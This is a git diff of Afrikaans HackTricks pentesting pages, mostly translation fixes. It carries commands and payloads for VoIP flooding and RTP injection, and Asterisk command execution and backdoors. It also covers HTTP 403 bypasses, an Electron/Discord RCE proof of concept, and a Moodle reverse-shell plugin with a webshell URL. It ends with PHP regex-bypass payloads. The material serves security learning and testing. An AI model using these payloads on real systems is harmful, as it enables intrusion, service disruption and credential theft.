- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed detecteer die RTP Bleed kwesbaarheid deur RTCP-strome te stuur.
```bash
sippts rtcpbleed -i 10.10.0.10
```
@ -540,7 +540,7 @@ sippts rtcpbleed -i 10.10.0.10
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
- **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject ontgin die RTP Bleed kwesbaarheid deur 'n klanklêer (WAV-formaat) in te spuit.
- **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject benut die RTP Bleed kwesbaarheid deur 'n klanklêer (WAV-formaat) in te spuit.
```bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
@ -550,49 +550,49 @@ In Asterisk kan jy op een of ander manier **uitbreidingsreëls byvoeg en dit her
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
Daar is 'n opdrag genaamd **`Shell`** wat gebruik kan word **in plaas van `System`** om stelselsopdragte uit te voer indien nodig.
Daar is 'n opdrag genoem **`Shell`** wat gebruik kan word **in plaas van `System`** om stelselsopdragte uit te voer indien nodig.
> [!WARNING]
> As die bediener **die gebruik van sekere karakters verbied** in die **`System`** opdrag (soos in Elastix), kyk of die webbediener toelaat om **lêers op een of ander manier binne die stelsel te skep** (soos in Elastix of trixbox), en gebruik dit om **'n backdoor-skrip te skep** en gebruik dan **`System`** om daardie **skrip** te **voeren**.
> As die bediener **die gebruik van sekere karakters verbied** in die **`System`** opdrag (soos in Elastix), kyk of die webbediener toelaat om **lêers op een of ander manier binne die stelsel te skep** (soos in Elastix of trixbox), en gebruik dit om **'n agterdeur-skrip** te **skep** en gebruik dan **`System`** om daardie **skrip** te **voeren**.
#### Interessante plaaslike lêers en toestemmings
- **`sip.conf`** -> Bevat die wagwoord van SIP gebruikers.
- As die **Asterisk bediener as root loop**, kan jy root kompromenteer.
- **mysql root gebruiker** mag **geen wagwoord hê**.
- dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep.
- **mysql root gebruiker** mag **geen wagwoord hê** nie.
- dit kan gebruik word om 'n nuwe mysql gebruiker as agterdeur te skep.
- **`FreePBX`**
- **`amportal.conf`** -> Bevat die wagwoord van die webpaneel administrateur (FreePBX).
- **`FreePBX.conf`** -> Bevat die wagwoord van die gebruiker FreePBXuser wat gebruik word om toegang tot die databasis te verkry.
- dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep.
- dit kan gebruik word om 'n nuwe mysql gebruiker as agterdeur te skep.
- **`Elastix`**
- **`Elastix.conf`** -> Bevat verskeie wagwoorde in duidelike teks soos mysql root wagwoord, IMAPd wagwoord, web admin wagwoord.
- **Verskeie vouers** sal aan die gekompromitteerde asterisk gebruiker behoort (as dit nie as root loop nie). Hierdie gebruiker kan die vorige lêers lees en beheer ook die konfigurasie, sodat hy Asterisk kan laat laai ander backdoored binaries wanneer dit uitgevoer word.
- **Verskeie vouers** sal aan die gecompromitteerde asterisk gebruiker behoort (as dit nie as root loop nie). Hierdie gebruiker kan die vorige lêers lees en beheer ook die konfigurasie, sodat hy Asterisk kan laat laai ander agterdeur-binaries wanneer dit uitgevoer word.
### RTP Inspuiting
Dit is moontlik om 'n **`.wav`** in gesprekke in te voeg met behulp van gereedskap soos **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) en **`rtpmixsound`** (`sudo apt install rtpmixsound`).
Of jy kan die skripte van [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) gebruik om **gesprekke te skandeer** (**`rtpscan.pl`**), 'n `.wav` na 'n gesprek te stuur (**`rtpsend.pl`**) en **ruis** in 'n gesprek in te voeg (**`rtpflood.pl`**).
Of jy kan die skripte van [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) gebruik om **gesprekke** te **skandeer** (**`rtpscan.pl`**), 'n `.wav` na 'n gesprek te stuur (**`rtpsend.pl`**) en **ruis** in 'n gesprek in te voeg (**`rtpflood.pl`**).
### DoS
Daar is verskeie maniere om te probeer om DoS in VoIP bedieners te bereik.
- **`SIPPTS flood`** van [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood stuur onbeperkte boodskappe na die teiken.
- **`SIPPTS flood`** van [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood stuur onbeperkte boodskappe na die teiken.
- `sippts flood -i 10.10.0.10 -m invite -v`
- **`SIPPTS ping`** van [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping maak 'n SIP ping om die bediener se reaksietyd te sien.
- **`SIPPTS ping`** van [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping maak 'n SIP ping om die bediener se reaksietyd te sien.
- `sippts ping -i 10.10.0.10`
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol wat deur Asterisk gebruik word.
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 'n Gereedskap om SIP/SDP INVITE boodskap flooding oor UDP/IP uit te voer.
- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Stuur verskeie goed gevormde RTP-pakkette. Dit is nodig om die RTP-poorte wat gebruik word te ken (sniff eers).
- [**SIPp**](https://github.com/SIPp/sipp): Laat jou toe om SIP-verkeer te analiseer en te genereer, so dit kan ook gebruik word om DoS te doen.
- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP switserse leërskêrm. Kan ook gebruik word om SIP-aanvalle uit te voer.
- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP switserse lewensmiddel. Kan ook gebruik word om SIP-aanvalle uit te voer.
- Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### OS Kw vulnerabilities
### OS Kwesbaarhede
Die maklikste manier om 'n sagteware soos Asterisk te installeer, is om 'n **OS verspreiding** af te laai wat dit reeds geïnstalleer het, soos: **FreePBX, Elastix, Trixbox**... Die probleem met hierdie is dat sodra dit werk, mag stelselsadministrateurs **dit nie weer opdateer nie** en **kw vulnerabilities** sal met tyd ontdek word.
Die maklikste manier om 'n sagteware soos Asterisk te installeer, is om 'n **OS verspreiding** af te laai wat dit reeds geïnstalleer het, soos: **FreePBX, Elastix, Trixbox**... Die probleem met hierdie is dat sodra dit werk, mag stelselsadministrateurs **dit nie weer opdateer nie** en **kwesbaarhede** sal met tyd ontdek word.
## Verwysings

View File

@ -6,7 +6,7 @@
Probeer om **verskillende werkwoorde** te gebruik om toegang tot die lêer te verkry: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
- Kontroleer die responskoppe, miskien kan daar 'n paar inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord toegang tot die info kan verkry**. Maar jy moet steeds 'n manier vind om daardie info te exfiltreer.
- Kontroleer die responskoppe, miskien kan daar 'n paar inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord toegang tot die inligting kan verkry**. Maar jy moet steeds 'n manier vind om daardie inligting te exfiltreer.
- Gebruik 'n HTTP-kop soos `X-HTTP-Method-Override: PUT` om die gebruikte werkwoord te oorskryf.
- Gebruik **`TRACE`** werkwoord en as jy baie gelukkig is, kan jy dalk in die respons ook die **koppe wat deur tussenliggende proxies bygevoeg is** sien wat nuttig kan wees.
@ -14,7 +14,7 @@ Probeer om **verskillende werkwoorde** te gebruik om toegang tot die lêer te ve
- **Verander die Host-kop** na 'n arbitrêre waarde ([dit het hier gewerk](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- Probeer om [**ander User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) te gebruik om toegang tot die hulpbron te verkry.
- **Fuzz HTTP Headers**: Probeer om HTTP Proxy **Headers**, HTTP Authentisering Basic en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
- **Fuzz HTTP Headers**: Probeer om HTTP Proxy **Koppe**, HTTP Authentisering Basic en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@ -36,16 +36,16 @@ As die **pad beskerm is**, kan jy probeer om die padbeskerming te omseil deur hi
- `X-Rewrite-URL: /admin/console`
- As die bladsy **agter 'n proxy** is, is dit dalk die proxy wat jou verhinder om toegang tot die private inligting te verkry. Probeer om [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **of** [**hop-by-hop koppe**](../../pentesting-web/abusing-hop-by-hop-headers.md)** te misbruik.**
- Fuzz [**spesiale HTTP-koppe**](special-http-headers.md) op soek na verskillende respons.
- **Fuzz spesiale HTTP-koppe** terwyl jy **HTTP Metodes** fuzz.
- Fuzz [**spesiale HTTP koppe**](special-http-headers.md) op soek na verskillende respons.
- **Fuzz spesiale HTTP koppe** terwyl jy **HTTP Metodes** fuzz.
- **Verwyder die Host-kop** en miskien sal jy in staat wees om die beskerming te omseil.
## Path **Fuzzing**
As _/path_ geblokkeer is:
- Probeer om _**/**_**%2e/path \_(as die toegang deur 'n proxy geblokkeer word, kan dit die beskerming omseil). Probeer ook**\_\*\* /%252e\*\*/path (dubbele URL-kodering)
- Probeer **Unicode omseiling**: _/**%ef%bc%8f**path_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geëncodeer word, sal dit _//path_ wees en miskien het jy reeds die _/path_ naamkontrole omseil.
- Probeer om `/%2e/path` te gebruik (as die toegang deur 'n proxy geblokkeer word, kan dit die beskerming omseil). Probeer ook `/%252e**/path` (dubbele URL-kodering)
- Probeer **Unicode omseiling**: _/**%ef%bc%8f**path_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geënkodeer word, sal dit _//path_ wees en miskien het jy reeds die _/path_ naamkontrole omseil
- **Ander pad omseilings**:
- site.com/secret > HTTP 403 Verbode
- site.com/SECRET > HTTP 200 OK
@ -82,11 +82,11 @@ As _/path_ geblokkeer is:
## **Protocol weergawe**
As jy HTTP/1.1 gebruik, **probeer om 1.0 te gebruik** of toets selfs of dit **2.0 ondersteun**.
As jy HTTP/1.1 gebruik, **probeer om 1.0** te gebruik of toets selfs of dit **2.0 ondersteun**.
## **Ander Omseilings**
- Kry die **IP** of **CNAME** van die domein en probeer om **direk kontak te maak**.
- Kry die **IP** of **CNAME** van die domein en probeer om **direk met dit in verbinding te tree**.
- Probeer om die **bediener te stres** deur algemene GET versoeke te stuur ([Dit het vir hierdie ou gewerk met Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- **Verander die protokol**: van http na https, of van https na http
- Gaan na [**https://archive.org/web/**](https://archive.org/web/) en kyk of daardie lêer in die verlede **wêreldwyd toeganklik** was.
@ -111,7 +111,7 @@ guest guest
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
- [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
- [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
- [Verbode Buster](https://github.com/Sn1r/Forbidden-Buster)
- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
- [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)

View File

@ -10,7 +10,7 @@ Hierdie kode open http(s) skakels met die standaardblaaier:
![](<../../../images/image (768).png>)
Iets soos `file:///C:/Windows/systemd32/calc.exe` kan gebruik word om 'n kalkulator uit te voer, die `SAFE_PROTOCOLS.indexOf` keer dit egter.
Iets soos `file:///C:/Windows/systemd32/calc.exe` kan gebruik word om 'n rekenaarprogram uit te voer, die `SAFE_PROTOCOLS.indexOf` keer dit egter.
Daarom kan 'n aanvaller hierdie JS-kode via die XSS of arbitrêre bladsy-navigasie inspuit:
```html
@ -20,7 +20,7 @@ return 1337
}
</script>
```
Aangesien die oproep na `SAFE_PROTOCOLS.indexOf` altyd 1337 sal teruggee, kan die aanvaller die beskerming omseil en die calc uitvoer. Finale ontploffing:
Aangesien die oproep na `SAFE_PROTOCOLS.indexOf` altyd 1337 sal teruggee, kan die aanvaller die beskerming omseil en die kalkuleerder uitvoer. Finale uitbuiting:
```html
<script>
Array.prototype.indexOf = function () {
@ -29,18 +29,18 @@ return 1337
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
Kontroleer die oorspronklike skyfies vir ander maniere om programme uit te voer sonder om 'n prompt te vra vir toestemmings.
Kontroleer die oorspronklike skywe vir ander maniere om programme uit te voer sonder om 'n prompt te vra vir toestemmings.
Blykbaar is 'n ander manier om kode te laai en uit te voer om toegang te verkry tot iets soos `file://127.0.0.1/electron/rce.jar`
Blykbaar is 'n ander manier om kode te laai en uit te voer om iets soos `file://127.0.0.1/electron/rce.jar` te benader.
## Voorbeeld 2: Discord App RCE
Voorbeeld van [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
Toe ek die preload-skripte nagegaan het, het ek gevind dat Discord die funksie blootstel, wat toelaat dat sommige toegelate modules via `DiscordNative.nativeModules.requireModule('MODULE-NAME')` in die webblad aangeroep kan word.\
Hier kon ek nie modules gebruik wat direk vir RCE gebruik kan word nie, soos _child_process_ module, maar ek **het 'n kode gevind waar RCE bereik kan word deur die ingeboude JavaScript-metodes te oorskry** en in te gryp in die uitvoering van die blootgestelde module.
Hier kon ek nie modules gebruik wat direk vir RCE gebruik kan word nie, soos die _child_process_ module, maar ek **het 'n kode gevind waar RCE bereik kan word deur die ingeboude JavaScript-metodes te oorskry** en in te gryp in die uitvoering van die blootgestelde module.
Die volgende is die PoC. Ek was in staat om te bevestig dat die **calc** toepassing **geopen** word wanneer ek die **`getGPUDriverVersions` funksie** aanroep wat gedefinieer is in die module genoem "_discord_utils_" van devTools, terwyl ek **die `RegExp.prototype.test` en `Array.prototype.join` oorskry**.
Die volgende is die PoC. Ek kon bevestig dat die **calc** toepassing **verskyn** wanneer ek die **`getGPUDriverVersions` funksie** aanroep wat gedefinieer is in die module genoem "_discord_utils_" van devTools, terwyl ek **die `RegExp.prototype.test` en `Array.prototype.join` oorskry**.
```javascript
RegExp.prototype.test = function () {
return false
@ -71,6 +71,12 @@ result.nvidia = { error: e.toString() }
return result
}
```
Gewoonlik probeer die _execa_ om "_nvidia-smi.exe_" uit te voer, wat in die `nvidiaSmiPath`-variabele gespesifiseer is, maar as gevolg van die oorgeskryfde `RegExp.prototype.test` en `Array.prototype.join`, **word die argument vervang met "**_**calc**_**" in die \_execa**\_**'s interne verwerking**.
Gewoonlik probeer die _execa_ om "_nvidia-smi.exe_" uit te voer, wat in die `nvidiaSmiPath` veranderlike gespesifiseer is, egter, as gevolg van die oorgeskryfde `RegExp.prototype.test` en `Array.prototype.join`, **word die argument vervang met "**_**calc**_**" in die _execa**_**'s interne verwerking**.
Specifiek word die argument vervang deur die volgende twee dele te verander.
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,15 +4,15 @@
Kyk na verdere besonderhede in [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
ImageMagick, 'n veelsydige beeldverwerkingsbiblioteek, bied 'n uitdaging in die konfigurasie van sy sekuriteitsbeleid weens sy uitgebreide opsies en gebrek aan gedetailleerde aanlyn dokumentasie. Gebruikers skep dikwels beleide gebaseer op gefragmenteerde internetbronne, wat lei tot potensiële verkeerde konfigurasies. Die biblioteek ondersteun 'n wye verskeidenheid van meer as 100 beeldformate, wat bydra tot sy kompleksiteit en kwesbaarheidprofiel, soos aangetoon deur historiese sekuriteitsvoorvalle.
ImageMagick, 'n veelsydige beeldverwerkingsbiblioteek, bied 'n uitdaging in die konfigurasie van sy sekuriteitsbeleid weens sy uitgebreide opsies en gebrek aan gedetailleerde aanlyn dokumentasie. Gebruikers skep dikwels beleide gebaseer op gefragmenteerde internetbronne, wat lei tot potensiële verkeerde konfigurasies. Die biblioteek ondersteun 'n wye verskeidenheid van meer as 100 beeldformate, wat elkeen bydra tot sy kompleksiteit en kwesbaarheidprofiel, soos aangetoon deur historiese sekuriteitsvoorvalle.
## Op Pad na Veiliger Beleide
## Op pad na Veiliger Beleide
Om hierdie uitdagings aan te spreek, is 'n [instrument ontwikkel](https://imagemagick-secevaluator.doyensec.com/) om te help met die ontwerp en oudit van ImageMagick se sekuriteitsbeleide. Hierdie instrument is gegrond op uitgebreide navorsing en het ten doel om te verseker dat beleide nie net robuust is nie, maar ook vry van leemtes wat misbruik kan word.
## Toegestaanlys vs Verbode lys Benadering
## Toelaatlys teen Ontkenlys Benadering
Histories het ImageMagick beleide op 'n verbode lys benadering staatgemaak, waar spesifieke koders toegang geweier is. egter, veranderinge in ImageMagick 6.9.7-7 het hierdie paradigma verskuif, wat 'n toegestaanlys benadering moontlik gemaak het. Hierdie benadering weier eers toegang aan alle koders en gee dan selektief toegang aan vertroude, wat die sekuriteitsposisie verbeter.
Histories het ImageMagick beleide op 'n ontkenlysbenadering staatgemaak, waar spesifieke koders toegang geweier is. egter, veranderinge in ImageMagick 6.9.7-7 het hierdie paradigma verskuif, wat 'n toelaatlysbenadering moontlik gemaak het. Hierdie benadering weier eers toegang aan alle koders en grant dan selektief toegang aan vertroude, wat die sekuriteitsposisie verbeter.
```xml
...
<policy domain="coder" rights="none" pattern="*" />
@ -21,13 +21,13 @@ Histories het ImageMagick beleide op 'n verbode lys benadering staatgemaak, waar
```
## Gevoeligheid vir Hoofletters in Beleide
Dit is van kardinale belang om te let dat beleidspatrone in ImageMagick gevoelig is vir hoofletters. Dit is dus noodsaaklik om te verseker dat koders en modules korrek in hoofletters in beleide geskryf word om onbedoelde toestemmings te voorkom.
Dit is van kardinale belang om te noem dat beleidspatrone in ImageMagick gevoelig is vir hoofletters. Dit is dus noodsaaklik om te verseker dat koders en modules korrek in hoofletters in beleide geskryf word om onbedoelde toestemmings te voorkom.
## Hulpbronlimiete
ImageMagick is geneig tot ontkenning van diens aanvalle as dit nie behoorlik geconfigureer is nie. Dit is noodsaaklik om eksplisiete hulpbronlimiete in die beleid in te stel om sulke kwesbaarhede te voorkom.
ImageMagick is geneig tot ontkenning van diens-aanvalle as dit nie behoorlik gekonfigureer is nie. Dit is noodsaaklik om eksplisiete hulpbronlimiete in die beleid in te stel om sulke kwesbaarhede te voorkom.
## Beleid Fragmentasie
## Beleidsfragmentasie
Beleide kan gefragmenteer wees oor verskillende ImageMagick-installasies, wat kan lei tot potensiële konflikte of oorskrywings. Dit word aanbeveel om die aktiewe beleidslêers te lokaliseer en te verifieer met opdragte soos:
```shell
@ -41,6 +41,6 @@ Die doeltreffendheid van 'n sekuriteitsbeleid kan bevestig word met die `identif
## Verwysings
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -62,17 +62,17 @@ cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
Ek het gevind dat die outomatiese gereedskap redelik **nutteloos is om kwesbaarhede wat die moodle weergawe raak, te vind**. Jy kan **kontroleer** daarvoor in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
Ek het gevind dat die outomatiese gereedskap redelik **onbruikbaar is om kwesbaarhede wat die moodle weergawe raak, te vind**. Jy kan **kontroleer** daarvoor in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## **RCE**
Jy moet 'n **bestuurder** rol hê en jy **kan plugins installeer** binne die **"Site administration"** tab\*\*:\*\*
Jy moet 'n **bestuurder** rol hê en jy **kan plugins installeer** binne die **"Site administration"** tab**:**
![](<../../images/image (630).png>)
As jy 'n bestuurder is, mag jy steeds hierdie **opsie moet aktiveer**. Jy kan sien hoe in die moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
As jy 'n bestuurder is, moet jy dalk steeds hierdie **opsie aktiveer**. Jy kan sien hoe in die moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Dan kan jy **die volgende plugin installeer** wat die klassieke pentest-monkey php r**ev shell** bevat (_voor jy dit op laai, moet jy dit ontbind, die IP en poort van die revshell verander en dit weer saamdruk_)
Dan kan jy die **volgende plugin installeer** wat die klassieke pentest-monkey php r**ev shell** bevat (_voor jy dit op laai, moet jy dit dekomprimeer, die IP en poort van die revshell verander en dit weer komprimeer_)
{{#file}}
moodle-rce-plugin.zip
@ -80,7 +80,7 @@ moodle-rce-plugin.zip
Of jy kan die plugin van [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) gebruik om 'n gewone PHP shell met die "cmd" parameter te kry.
Om die kwaadwillige plugin te begin, moet jy toegang hê tot:
Om die kwaadwillige plugin te lanseer, moet jy toegang hê tot:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```

View File

@ -18,7 +18,7 @@ Ligginge:
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Omseil van PHP vergelykings
## Omseiling van PHP vergelykings
### Los vergelykings/Tipe Juggling ( == )
@ -70,11 +70,11 @@ Selfs al word `===` **gebruik** kan daar foute wees wat die **vergelyking kwesba
```
### preg_match(/^.\*/)
**`preg_match()`** kan gebruik word om **gebruikersinvoer** te **valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** **teenwoordig** is in die **gebruikersinvoer** en as dit nie is nie, kan die kode sy uitvoering voortset).
**`preg_match()`** kan gebruik word om **gebruikersinvoer** te **valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** **teenwoordig** is in die **gebruikersinvoer** en as dit nie is nie, kan die kode voortgaan met sy uitvoering).
#### Nuwe lyn omseiling
E however, wanneer die begin van die regexp `preg_match()` **slegs die eerste lyn van die gebruikersinvoer kontroleer**, dan, as jy op een of ander manier die invoer in **verskeie lyne** kan **stuur**, kan jy in staat wees om hierdie kontrole te omseil. Voorbeeld:
E however, wanneer die begin van die regexp `preg_match()` **slegs die eerste lyn van die gebruikersinvoer** **kontroleer**, dan as jy op een of ander manier die invoer in **verskeie lyne** kan **stuur**, kan jy in staat wees om hierdie kontrole te omseil. Voorbeeld:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -98,7 +98,7 @@ Vind 'n voorbeeld hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://r
#### **Lengte fout omseiling**
(Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie)\
As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk nie** en jy sal in staat wees om die kontrole te **omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk** nie en jy sal in staat wees om die kontrole te **omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -110,17 +110,17 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard op 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas.
In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas.
[Hierdie Stackoverflow draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook in die pos gekoppel waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system(<verybadcommand>)}` om SSTI --> RCE --> vlag :)**.
**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system(<verybadcommand>)}` laat wees om SSTI --> RCE --> vlag :)**.
Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "terugspoel stappe", wat soos die [PHP dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) sê, standaard op 1_000_000 (1M) in die `pcre.backtrack_limit` veranderlike is.\
Om dit te bereik, sal `'X'*500_001` 1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe) oplewer:
Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "backtracking stappe", wat soos die [PHP dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) sê, standaard 1_000_000 (1M) in die `pcre.backtrack_limit` veranderlike is.\
Om dit te bereik, sal `'X'*500_001` in 1 miljoen backtracking stappe (500k vorentoe en 500k agtertoe) lei:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Tipe Juggling vir PHP obfuskering
### Tipe Juggling vir PHP obfuskerings
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -133,7 +133,7 @@ $obfs += ""; //int 7
```
## Voer Uit Na Oorplasing (EAR)
As PHP na 'n ander bladsy oorplaas, maar geen **`die`** of **`exit`** funksie is **opgeroep nadat die kop `Location`** gestel is nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam:
As PHP na 'n ander bladsy oorplaas, maar geen **`die`** of **`exit`** funksie is **opgeroep nadat die koptekst `Location`** gestel is nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -143,7 +143,7 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Pad Traversal en Lêerinsluiting Exploitatie
## Pad Traversal en Lêrinvoeging Exploitatie
Kontroleer:
@ -153,11 +153,11 @@ Kontroleer:
## Meer truuks
- **register_globals**: In **PHP < 4.1.1.1** of as verkeerd geconfigureer, kan **register_globals** aktief wees (of hul gedrag word nagebootst). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit toegang via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes\*\* wat binne die kode gebruik word oorskryf.
- Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie gebruik word** kan jy maak dat 'n pad **die koekie van die pad** toegang gee deur die waarde van die ander pad koekie in te stel.\
Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 op pad2 van toepassing is**. En dan sal pad2 die veranderlikes van pad1 as geldig beskou (deur die koekie die naam te gee wat ooreenstem met dit in pad2).
